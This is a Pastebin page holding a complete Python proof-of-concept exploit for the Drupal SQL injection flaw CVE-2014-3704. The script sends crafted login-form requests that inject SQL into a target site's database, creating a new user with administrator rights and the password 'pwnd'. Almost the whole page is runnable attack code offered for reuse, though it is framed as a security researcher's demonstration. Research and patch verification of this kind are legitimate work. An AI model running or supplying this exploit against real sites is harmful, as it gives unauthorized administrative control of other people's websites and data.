Advertisement
Guest User

Untitled

a guest
Oct 31st, 2014
285
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.92 KB | None | 0 0
  1. #!/usr/bin/python
  2. # drupalSQLi.py -- a simple PoC for the Drupal SQLi vuln (CVE-2014-3704)
  3. # Author: Mike Czumak (T_v3rn1x) - @SecuritySift
  4. # You are free to share and/or reuse all or portions of this code as long as it's not for commercial purposes
  5. # Absolutely no warranty or promises of reliability, accuracy, or performance. Use at your own risk
  6.  
  7. import sys
  8. import socket
  9. import urllib, urllib2
  10. import argparse
  11. import urlparse
  12.  
  13. class print_colors:
  14. SUCCESS = '\033[92m'
  15. ERROR = '\033[91m'
  16. END = '\033[0m'
  17.  
  18. #################################################
  19. ############### Args/Usage ###############
  20. #################################################
  21. def get_args():
  22.  
  23. parser = argparse.ArgumentParser( prog="drupalSQLi.py",
  24. formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
  25. epilog= '''
  26. This script will exploit the Drupal SQL injection vulnerability (CVE-2014-3704)
  27. by adding a new user with admin privileges. Password will be `pwnd`.''')
  28. parser.add_argument("target", help="URL of target Drupal site")
  29. parser.add_argument("name", help="Username to Add")
  30. parser.add_argument("-u", "--uid", default="99999", help="User Id for new user (default = 99999)")
  31. parser.add_argument("-r", "--rid", default="3", help="rid for admin user (default = 3)")
  32. args = parser.parse_args()
  33. return args
  34.  
  35. #################################################
  36. ############### Print Function ###############
  37. #################################################
  38.  
  39. ''' universal print function with formatting '''
  40. def print_msg (msgtype, msgcontent):
  41. endcolor = print_colors.END
  42. if msgtype == "error":
  43. startcolor = print_colors.ERROR
  44. print("%s[!] ERROR: %s%s" % (startcolor, msgcontent, endcolor))
  45. elif msgtype == "success":
  46. startcolor = print_colors.SUCCESS
  47. print("%s[*] SUCCESS: %s%s" % (startcolor, msgcontent, endcolor))
  48. else:
  49. print("%s" % (msgcontent))
  50.  
  51. #################################################
  52. ############ EXPLOIT #############
  53. #################################################
  54.  
  55. ''' SQL Injection Exploit to Add Admin User '''
  56.  
  57. def pwn_target(target, uname, uid, rid):
  58. target = target + "?destination=node"
  59. pass_hash = urllib.quote_plus("$S$DIkdNZqdxqh7Tmufxs8l1vAu0wdzxF//smWKAcjCv45KWjK0YFBg") # pass = pwnd
  60. create_user = "name[0;insert%20into%20users%20values%20("+uid+",'"+uname+"','"+pass_hash+"','pwnd@pwnd.pwn','','',NULL,0,0,0,1,NULL,'',0,'',NULL);#%20%20]=test&name[0]=test&pass=test&form_id=user_login_block&op=Log+in";
  61. grant_privs = "name[0;insert%20into%20users_roles%20values%20("+uid+","+rid+");#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
  62.  
  63. try:
  64. req = urllib2.Request(target, create_user)
  65. res = urllib2.urlopen(req).read()
  66. req = urllib2.Request(target, grant_privs)
  67. res = urllib2.urlopen(req).read()
  68. print_msg("success", ("Admin user '%s' should now be added with password 'pwnd' and uid of %s\nNavigate to %s and login with these credentials" % (uname, uid, target)))
  69.  
  70. except:
  71. print_msg("error", ( "[%s] %s%s" % (str(target), str(sys.exc_info()[0]), str(sys.exc_info()[1]))))
  72.  
  73.  
  74. #################################################
  75. ############### Main ###############
  76. #################################################
  77.  
  78. def main():
  79. print
  80. print '============================================================================='
  81. print '| DRUPAL SQL INJECTIION DEMO (CVE-2014-3704) |'
  82. print '| Author: Mike Czumak (T_v3rn1x) - @SecuritySift |'
  83. print '=============================================================================\n'
  84. args = get_args() # get the cl args
  85. pwn_target(args.target.strip(), args.name.strip(), args.uid.strip(), args.rid.strip())
  86.  
  87. if __name__ == '__main__':
  88. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement